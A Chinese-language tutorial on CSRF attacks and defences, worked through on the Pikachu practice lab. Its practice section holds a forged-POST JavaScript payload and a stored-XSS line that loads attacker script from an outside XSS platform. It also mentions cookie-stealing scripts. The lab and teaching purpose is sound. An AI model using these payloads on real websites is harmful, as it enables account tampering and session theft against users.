CSRF原理與實踐
- 一、原理
- 二、實踐
-
- 2.1 CSRF (get)與(post)
- 2.2 CSRF結合XSS
- 2.3 Token防止CSRF
一、原理
Cross-site request forgery 簡稱為“CSRF”,在CSRF的攻擊場景中攻擊者會僞造一個請求(這個請求一般是一個連結),然後欺騙目标使用者進行點選,使用者一旦點選了這個請求,整個攻擊就完成了。是以CSRF攻擊也稱為"one click"攻擊。 很多人搞不清楚CSRF的概念,甚至有時候會将其和XSS混淆,更有甚者會将其和越權問題混為一談,這都是對原理沒搞清楚導緻的。
這裡列舉一個場景解釋一下,希望能夠幫助你了解。
場景需求:
小黑想要修改大白在購物網站www.xx.com上填寫的會員位址。
先看下大白是如何修改自己的密碼的:
登入—修改會員資訊,送出請求—修改成功。
是以小黑想要修改大白的資訊,他需要擁有:1、登入權限 2、修改個人資訊的請求。
但是大白又不會把自己xxx網站的賬号密碼告訴小黑,那小黑怎麼辦?
于是他自己跑到www.xx.com上注冊了一個自己的賬号,然後修改了一下自己的個人資訊(比如:E-mail位址),他發現修改的請求是:
【http://www.xxx.com/[email protected]&Change=Change】
于是,他實施了這樣一個操作:把這個連結僞裝一下,在小白登入xxx網站後,欺騙他進行點選,小白點選這個連結後,個人資訊就被修改了,小黑就完成了攻擊目的。
為啥小黑的操作能夠實作呢。有如下幾個關鍵點:
- www.xxx.com這個網站在使用者修改個人的資訊時沒有過多的校驗,導緻這個請求容易被僞造;
是以,我們判斷一個網站是否存在CSRF漏洞,其實就是判斷其對關鍵資訊(比如密碼等敏感資訊)的操作(增删改)是否容易被僞造。
- 小白點選了小黑發給的連結,并且這個時候小白剛好登入在購物網上;
如果小白安全意識高,不點選不明連結,則攻擊不會成功,又或者即使小白點選了連結,但小白此時并沒有登入購物網站,也不會成功。
是以,要成功實施一次CSRF攻擊,需要“天時,地利,人和”的條件。
當然,如果小黑事先在xxx網的首頁如果發現了一個XSS漏洞,則小黑可能會這樣做: 欺騙小白通路埋伏了XSS腳本(盜取cookie的腳本)的頁面,小白中招,小黑拿到小白的cookie,然後小黑順利登入到小白的背景,小黑自己修改小白的相關資訊。
—是以跟上面比一下,就可以看出CSRF與XSS的差別:CSRF是借使用者的權限完成攻擊,攻擊者并沒有拿到使用者的權限,可以說是借刀殺人,而XSS是直接盜取到了使用者的權限,然後實施破壞。
是以,網站如果要防止CSRF攻擊,則需要對敏感資訊的操作實施對應的安全措施,防止這些操作出現被僞造的情況,進而導緻CSRF。
比如:
- 對敏感資訊的操作增加安全的token;
- 對敏感資訊的操作增加安全的驗證碼;
- 對敏感資訊的操作實施安全的邏輯流程,比如修改密碼時,需要先校驗舊密碼等。
如果你沒有讀太明白,不要猶豫,請再讀一遍啦
二、實踐
2.1 CSRF (get)與(post)
我用Pikachu漏洞練習平台來實踐一下,首先登陸
點選修改個人資訊,打開burpsuite準備抓包,點選submit
成功抓包,右擊相關工具,CSRF PoC生成
修改相關資料,我這裡修改電話為123123,點選用浏覽器測試,點選複制,當然,你可以僞造一個URL,誘導被攻擊者點選即成功。
在浏覽器打開即成功修改手機号
2.2 CSRF結合XSS
現在CSRF利用基本上都是配合XSS進行,這樣可以降低攻擊成本,擴大危害
首先用burpsuite抓取修改資料的資料包
基本就是這個格式,把資料和網址修改即可
var xmlhttp;
if (window.XMLHttpRequest)
{xmlhttp=new XMLHttpRequest(); }
else
{xmlhttp=new ActiveXObject ("Microsoft.XMLHTTP"); }
xmlhttp.open("POST","http://192.168.130.1/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("sex=boy&phonenum=123123&add=usa&email=grady%40pikachu.com&submit=submit") ;
找到存儲XSS的留言闆,放入下面的XSS平台代碼
将如下代碼植入懷疑出現xss的地方(注意'的轉義),即可在 項目内容 觀看XSS效果。
<script src=https://xsspt.com/qo87m7></script>
submit,檢視網絡請求可以發現代碼已經生效了,響應碼200
資料也被修改
2.3 Token防止CSRF
點選修改個人資訊按鈕後,伺服器會傳回一個個人資訊的表單頁面。表單會嵌入一個隐藏的标簽,标簽的value屬性值為伺服器端生成并存儲在Session中的token,表單資料被送出時,token也會被送出到伺服器。
當填好個人資訊的表單,點選送出後,伺服器不僅檢查資訊是否有空值,還會将表單送出過來的token值也Session中的token值作對比,對比不通過不會執行個人資訊修改操作。